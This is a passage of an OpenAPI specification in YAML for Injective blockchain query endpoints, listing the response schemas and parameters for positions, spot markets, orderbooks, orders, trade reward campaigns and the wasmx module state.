| type: string | |
| description: market ID. | |
| hourly_funding_rate_cap: | |
| type: string | |
| title: >- | |
| hourly_funding_rate_cap defines the maximum absolute value | |
| of the hourly | |
| funding rate | |
| hourly_interest_rate: | |
| type: string | |
| title: hourly_interest_rate defines the hourly interest rate | |
| next_funding_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| next_funding_timestamp defines the next funding timestamp | |
| in seconds of a | |
| perpetual market | |
| funding_interval: | |
| type: string | |
| format: int64 | |
| description: >- | |
| funding_interval defines the next funding interval in | |
| seconds of a | |
| perpetual market. | |
| description: |- | |
| QueryPerpetualMarketInfoResponse is the response type for the | |
| Query/PerpetualMarketInfo RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/positions: | |
| get: | |
| summary: Retrieves the entire exchange module's positions | |
| operationId: Positions | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| market_id: | |
| type: string | |
| position: | |
| type: object | |
| properties: | |
| isLong: | |
| type: boolean | |
| quantity: | |
| type: string | |
| entry_price: | |
| type: string | |
| margin: | |
| type: string | |
| cumulative_funding_entry: | |
| type: string | |
| description: >- | |
| QueryPositionsResponse is the response type for the | |
| Query/Positions RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/positions/{subaccount_id}: | |
| get: | |
| summary: Retrieves subaccount's positions | |
| operationId: SubaccountPositions | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| market_id: | |
| type: string | |
| position: | |
| type: object | |
| properties: | |
| isLong: | |
| type: boolean | |
| quantity: | |
| type: string | |
| entry_price: | |
| type: string | |
| margin: | |
| type: string | |
| cumulative_funding_entry: | |
| type: string | |
| description: |- | |
| QuerySubaccountPositionsResponse is the response type for the | |
| Query/SubaccountPositions RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: subaccount_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/positions/{subaccount_id}/{market_id}: | |
| get: | |
| summary: Retrieves subaccount's position in market | |
| operationId: SubaccountPositionInMarket | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: object | |
| properties: | |
| isLong: | |
| type: boolean | |
| quantity: | |
| type: string | |
| entry_price: | |
| type: string | |
| margin: | |
| type: string | |
| cumulative_funding_entry: | |
| type: string | |
| description: >- | |
| QuerySubaccountPositionInMarketResponse is the response type for | |
| the | |
| Query/SubaccountPositionInMarket RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: subaccount_id | |
| in: path | |
| required: true | |
| type: string | |
| - name: market_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/spot/full_market/{market_id}: | |
| get: | |
| summary: Retrieves a spot market with extra information. | |
| operationId: FullSpotMarket | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| market: | |
| type: object | |
| properties: | |
| market: | |
| type: object | |
| properties: | |
| ticker: | |
| type: string | |
| description: >- | |
| A name of the pair in format AAA/BBB, where AAA is | |
| base asset, BBB is quote | |
| asset. | |
| base_denom: | |
| type: string | |
| title: Coin denom used for the base asset | |
| quote_denom: | |
| type: string | |
| title: Coin used for the quote asset | |
| maker_fee_rate: | |
| type: string | |
| title: >- | |
| maker_fee_rate defines the fee percentage makers pay | |
| when trading | |
| taker_fee_rate: | |
| type: string | |
| title: >- | |
| taker_fee_rate defines the fee percentage takers pay | |
| when trading | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the percentage of the | |
| transaction fee shared | |
| with the relayer in a derivative market | |
| market_id: | |
| type: string | |
| description: Unique market ID. | |
| status: | |
| title: Status of the market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Active | |
| - Paused | |
| - Demolished | |
| - Expired | |
| default: Unspecified | |
| min_price_tick_size: | |
| type: string | |
| title: >- | |
| min_price_tick_size defines the minimum tick size that | |
| the price required | |
| for orders in the market | |
| min_quantity_tick_size: | |
| type: string | |
| title: >- | |
| min_quantity_tick_size defines the minimum tick size | |
| of the quantity | |
| required for orders in the market | |
| description: An object describing trade pair of two assets. | |
| mid_price_and_tob: | |
| title: >- | |
| mid_price_and_tob defines the mid price for this market | |
| and the best ask | |
| and bid orders | |
| type: object | |
| properties: | |
| mid_price: | |
| type: string | |
| title: mid price of the market | |
| best_buy_price: | |
| type: string | |
| title: best buy price of the market | |
| best_sell_price: | |
| type: string | |
| title: best sell price of the market | |
| description: >- | |
| QuerySpotMarketResponse is the response type for the | |
| Query/SpotMarket RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| - name: with_mid_price_and_tob | |
| description: >- | |
| Flag to return the markets mid price and top of the book buy and | |
| sell | |
| orders. | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/spot/full_markets: | |
| get: | |
| summary: Retrieves a list of spot markets with extra information. | |
| operationId: FullSpotMarkets | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| markets: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market: | |
| type: object | |
| properties: | |
| ticker: | |
| type: string | |
| description: >- | |
| A name of the pair in format AAA/BBB, where AAA is | |
| base asset, BBB is quote | |
| asset. | |
| base_denom: | |
| type: string | |
| title: Coin denom used for the base asset | |
| quote_denom: | |
| type: string | |
| title: Coin used for the quote asset | |
| maker_fee_rate: | |
| type: string | |
| title: >- | |
| maker_fee_rate defines the fee percentage makers pay | |
| when trading | |
| taker_fee_rate: | |
| type: string | |
| title: >- | |
| taker_fee_rate defines the fee percentage takers pay | |
| when trading | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the percentage of the | |
| transaction fee shared | |
| with the relayer in a derivative market | |
| market_id: | |
| type: string | |
| description: Unique market ID. | |
| status: | |
| title: Status of the market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Active | |
| - Paused | |
| - Demolished | |
| - Expired | |
| default: Unspecified | |
| min_price_tick_size: | |
| type: string | |
| title: >- | |
| min_price_tick_size defines the minimum tick size | |
| that the price required | |
| for orders in the market | |
| min_quantity_tick_size: | |
| type: string | |
| title: >- | |
| min_quantity_tick_size defines the minimum tick size | |
| of the quantity | |
| required for orders in the market | |
| description: An object describing trade pair of two assets. | |
| mid_price_and_tob: | |
| title: >- | |
| mid_price_and_tob defines the mid price for this market | |
| and the best ask | |
| and bid orders | |
| type: object | |
| properties: | |
| mid_price: | |
| type: string | |
| title: mid price of the market | |
| best_buy_price: | |
| type: string | |
| title: best buy price of the market | |
| best_sell_price: | |
| type: string | |
| title: best sell price of the market | |
| description: |- | |
| QueryFullSpotMarketsResponse is the response type for the | |
| Query/FullSpotMarkets RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: status | |
| description: >- | |
| Status of the market, for convenience it is set to string - not | |
| enum. | |
| in: query | |
| required: false | |
| type: string | |
| - name: market_ids | |
| description: Filter by market IDs. | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| - name: with_mid_price_and_tob | |
| description: >- | |
| Flag to return the markets mid price and top of the book buy and | |
| sell | |
| orders. | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/spot/markets: | |
| get: | |
| summary: Retrieves a list of spot markets. | |
| operationId: SpotMarkets | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| markets: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| ticker: | |
| type: string | |
| description: >- | |
| A name of the pair in format AAA/BBB, where AAA is base | |
| asset, BBB is quote | |
| asset. | |
| base_denom: | |
| type: string | |
| title: Coin denom used for the base asset | |
| quote_denom: | |
| type: string | |
| title: Coin used for the quote asset | |
| maker_fee_rate: | |
| type: string | |
| title: >- | |
| maker_fee_rate defines the fee percentage makers pay | |
| when trading | |
| taker_fee_rate: | |
| type: string | |
| title: >- | |
| taker_fee_rate defines the fee percentage takers pay | |
| when trading | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the percentage of the | |
| transaction fee shared | |
| with the relayer in a derivative market | |
| market_id: | |
| type: string | |
| description: Unique market ID. | |
| status: | |
| title: Status of the market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Active | |
| - Paused | |
| - Demolished | |
| - Expired | |
| default: Unspecified | |
| min_price_tick_size: | |
| type: string | |
| title: >- | |
| min_price_tick_size defines the minimum tick size that | |
| the price required | |
| for orders in the market | |
| min_quantity_tick_size: | |
| type: string | |
| title: >- | |
| min_quantity_tick_size defines the minimum tick size of | |
| the quantity | |
| required for orders in the market | |
| description: An object describing trade pair of two assets. | |
| description: >- | |
| QuerySpotMarketsResponse is the response type for the | |
| Query/SpotMarkets RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: status | |
| description: >- | |
| Status of the market, for convenience it is set to string - not | |
| enum. | |
| in: query | |
| required: false | |
| type: string | |
| - name: market_ids | |
| description: Filter by market IDs. | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/spot/markets/{market_id}: | |
| get: | |
| summary: Retrieves a spot market by ticker | |
| operationId: SpotMarket | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| market: | |
| type: object | |
| properties: | |
| ticker: | |
| type: string | |
| description: >- | |
| A name of the pair in format AAA/BBB, where AAA is base | |
| asset, BBB is quote | |
| asset. | |
| base_denom: | |
| type: string | |
| title: Coin denom used for the base asset | |
| quote_denom: | |
| type: string | |
| title: Coin used for the quote asset | |
| maker_fee_rate: | |
| type: string | |
| title: >- | |
| maker_fee_rate defines the fee percentage makers pay when | |
| trading | |
| taker_fee_rate: | |
| type: string | |
| title: >- | |
| taker_fee_rate defines the fee percentage takers pay when | |
| trading | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the percentage of the | |
| transaction fee shared | |
| with the relayer in a derivative market | |
| market_id: | |
| type: string | |
| description: Unique market ID. | |
| status: | |
| title: Status of the market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Active | |
| - Paused | |
| - Demolished | |
| - Expired | |
| default: Unspecified | |
| min_price_tick_size: | |
| type: string | |
| title: >- | |
| min_price_tick_size defines the minimum tick size that the | |
| price required | |
| for orders in the market | |
| min_quantity_tick_size: | |
| type: string | |
| title: >- | |
| min_quantity_tick_size defines the minimum tick size of | |
| the quantity | |
| required for orders in the market | |
| description: An object describing trade pair of two assets. | |
| description: >- | |
| QuerySpotMarketResponse is the response type for the | |
| Query/SpotMarket RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/spot/mid_price_and_tob/{market_id}: | |
| get: | |
| summary: Retrieves a spot market's mid-price | |
| operationId: SpotMidPriceAndTOB | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| mid_price: | |
| type: string | |
| title: mid price of the market | |
| best_buy_price: | |
| type: string | |
| title: best buy price of the market | |
| best_sell_price: | |
| type: string | |
| title: best sell price of the market | |
| description: |- | |
| QuerySpotMidPriceAndTOBResponse is the response type for the | |
| Query/SpotMidPriceAndTOB RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/spot/orderbook/{market_id}: | |
| get: | |
| summary: Retrieves a spot market's orderbook by marketID | |
| operationId: SpotOrderbook | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| buys_price_level: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| p: | |
| type: string | |
| title: price | |
| q: | |
| type: string | |
| title: quantity | |
| sells_price_level: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| p: | |
| type: string | |
| title: price | |
| q: | |
| type: string | |
| title: quantity | |
| description: >- | |
| QuerySpotOrderbookResponse is the response type for the | |
| Query/SpotOrderbook | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| - name: limit | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: order_side | |
| description: ' - Side_Unspecified: will return both' | |
| in: query | |
| required: false | |
| type: string | |
| enum: | |
| - Side_Unspecified | |
| - Buy | |
| - Sell | |
| default: Side_Unspecified | |
| - name: limit_cumulative_notional | |
| in: query | |
| required: false | |
| type: string | |
| - name: limit_cumulative_quantity | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/spot/orders/{market_id}/account/{account_address}: | |
| get: | |
| summary: Retrieves all account address spot orders | |
| operationId: AccountAddressSpotOrders | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| isBuy: | |
| type: boolean | |
| title: true if the order is a buy | |
| order_hash: | |
| type: string | |
| description: |- | |
| QueryAccountAddressSpotOrdersResponse is the response type for the | |
| Query/AccountAddressSpotOrders RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| - name: account_address | |
| description: Account address of the trader | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/spot/orders/{market_id}/{subaccount_id}: | |
| get: | |
| summary: Retrieves a trader's spot orders | |
| operationId: TraderSpotOrders | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| isBuy: | |
| type: boolean | |
| title: true if the order is a buy | |
| order_hash: | |
| type: string | |
| description: |- | |
| QueryTraderSpotOrdersResponse is the response type for the | |
| Query/TraderSpotOrders RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| - name: subaccount_id | |
| description: SubaccountID of the trader | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/spot/orders_by_hashes/{market_id}/{subaccount_id}: | |
| get: | |
| summary: >- | |
| Retrieves spot orders corresponding to specified order hashes for a | |
| given | |
| subaccountID and marketID | |
| operationId: SpotOrdersByHashes | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| isBuy: | |
| type: boolean | |
| title: true if the order is a buy | |
| order_hash: | |
| type: string | |
| description: |- | |
| QuerySpotOrdersByHashesResponse is the response type for the | |
| Query/SpotOrdersByHashes RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| - name: subaccount_id | |
| description: SubaccountID of the trader | |
| in: path | |
| required: true | |
| type: string | |
| - name: order_hashes | |
| description: the order hashes. | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/spot/transient_orders/{market_id}/{subaccount_id}: | |
| get: | |
| summary: Retrieves a trader's transient spot orders | |
| operationId: TraderSpotTransientOrders | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| isBuy: | |
| type: boolean | |
| title: true if the order is a buy | |
| order_hash: | |
| type: string | |
| description: |- | |
| QueryTraderSpotOrdersResponse is the response type for the | |
| Query/TraderSpotOrders RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| description: Market ID for the market | |
| in: path | |
| required: true | |
| type: string | |
| - name: subaccount_id | |
| description: SubaccountID of the trader | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/trade_reward_campaign: | |
| get: | |
| summary: Retrieves the trade reward campaign | |
| operationId: TradeRewardCampaign | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| trading_reward_campaign_info: | |
| type: object | |
| properties: | |
| campaign_duration_seconds: | |
| type: string | |
| format: int64 | |
| title: number of seconds of the duration of each campaign | |
| quote_denoms: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| the trading fee quote denoms which will be counted for the | |
| rewards | |
| trading_reward_boost_info: | |
| title: the optional boost info for markets | |
| type: object | |
| properties: | |
| boosted_spot_market_ids: | |
| type: array | |
| items: | |
| type: string | |
| spot_market_multipliers: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| maker_points_multiplier: | |
| type: string | |
| taker_points_multiplier: | |
| type: string | |
| boosted_derivative_market_ids: | |
| type: array | |
| items: | |
| type: string | |
| derivative_market_multipliers: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| maker_points_multiplier: | |
| type: string | |
| taker_points_multiplier: | |
| type: string | |
| disqualified_market_ids: | |
| type: array | |
| items: | |
| type: string | |
| title: the marketIDs which are disqualified from being rewarded | |
| trading_reward_pool_campaign_schedule: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| start_timestamp: | |
| type: string | |
| format: int64 | |
| max_campaign_rewards: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| title: >- | |
| max_campaign_rewards are the maximum reward amounts to | |
| be disbursed at the | |
| end of the campaign | |
| total_trade_reward_points: | |
| type: string | |
| pending_trading_reward_pool_campaign_schedule: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| start_timestamp: | |
| type: string | |
| format: int64 | |
| max_campaign_rewards: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| title: >- | |
| max_campaign_rewards are the maximum reward amounts to | |
| be disbursed at the | |
| end of the campaign | |
| pending_total_trade_reward_points: | |
| type: array | |
| items: | |
| type: string | |
| description: |- | |
| QueryTradeRewardCampaignResponse is the response type for the | |
| Query/TradeRewardCampaign RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/trade_reward_points: | |
| get: | |
| summary: Retrieves the account and total trade rewards points | |
| operationId: TradeRewardPoints | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| account_trade_reward_points: | |
| type: array | |
| items: | |
| type: string | |
| description: |- | |
| QueryTradeRewardPointsResponse is the response type for the | |
| Query/TradeRewardPoints RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: accounts | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| - name: pending_pool_timestamp | |
| in: query | |
| required: false | |
| type: string | |
| format: int64 | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/vault_market_id/{vault_address}: | |
| get: | |
| summary: >- | |
| QueryMarketIDFromVault returns the market ID for a given vault | |
| subaccount ID | |
| operationId: QueryMarketIDFromVault | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| description: |- | |
| QueryMarketIDFromVaultResponse is the response type for the | |
| Query/QueryMarketIDFromVault RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: vault_address | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/wasmx/v1/module_state: | |
| get: | |
| summary: Retrieves the entire wasmx module's state | |
| operationId: WasmxModuleState | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: object | |
| properties: | |
| params: | |
| description: params defines all the parameters of related to wasmx. | |
| type: object | |
| properties: | |
| is_execution_enabled: | |
| type: boolean | |
| description: >- | |
| Set the status to active to indicate that contracts | |
| can be executed in | |
| begin blocker. | |
| max_begin_block_total_gas: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| Maximum aggregate total gas to be used for the | |
| contract executions in the | |
| BeginBlocker. | |
| max_contract_gas_limit: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| the maximum gas limit each individual contract can | |
| consume in the | |
| BeginBlocker. | |
| min_gas_price: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| min_gas_price defines the minimum gas price the | |
| contracts must pay to be | |
| executed in the BeginBlocker. | |
| registered_contracts: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| registered_contract: | |
| type: object | |
| properties: | |
| gas_limit: | |
| type: string | |
| format: uint64 | |
| title: limit of gas per BB execution | |
| gas_price: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| gas price that contract is willing to pay for | |
| execution in BeginBlocker | |
| is_executable: | |
| type: boolean | |
| title: is contract currently active | |
| code_id: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| code_id that is allowed to be executed (to | |
| prevent malicious updates) - if | |
| nil/0 any code_id can be executed | |
| admin_address: | |
| type: string | |
| title: >- | |
| optional - admin addr that is allowed to update | |
| contract data | |
| granter_address: | |
| type: string | |
| title: |- | |
| Optional: address of the contract granting fee | |
| Must be set if fund_mode is GrantOnly | |
| fund_mode: | |
| title: funding mode | |
| type: string | |
| enum: | |
| - Unspecified | |
| - SelfFunded | |
| - GrantOnly | |
| - Dual | |
| default: Unspecified | |
| title: >- | |
| registered_contracts is an array containing the genesis | |
| registered | |
| contracts | |
| description: GenesisState defines the wasmx module's genesis state. | |
| description: >- | |
| QueryModuleStateResponse is the response type for the | |
| Query/WasmxModuleState | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
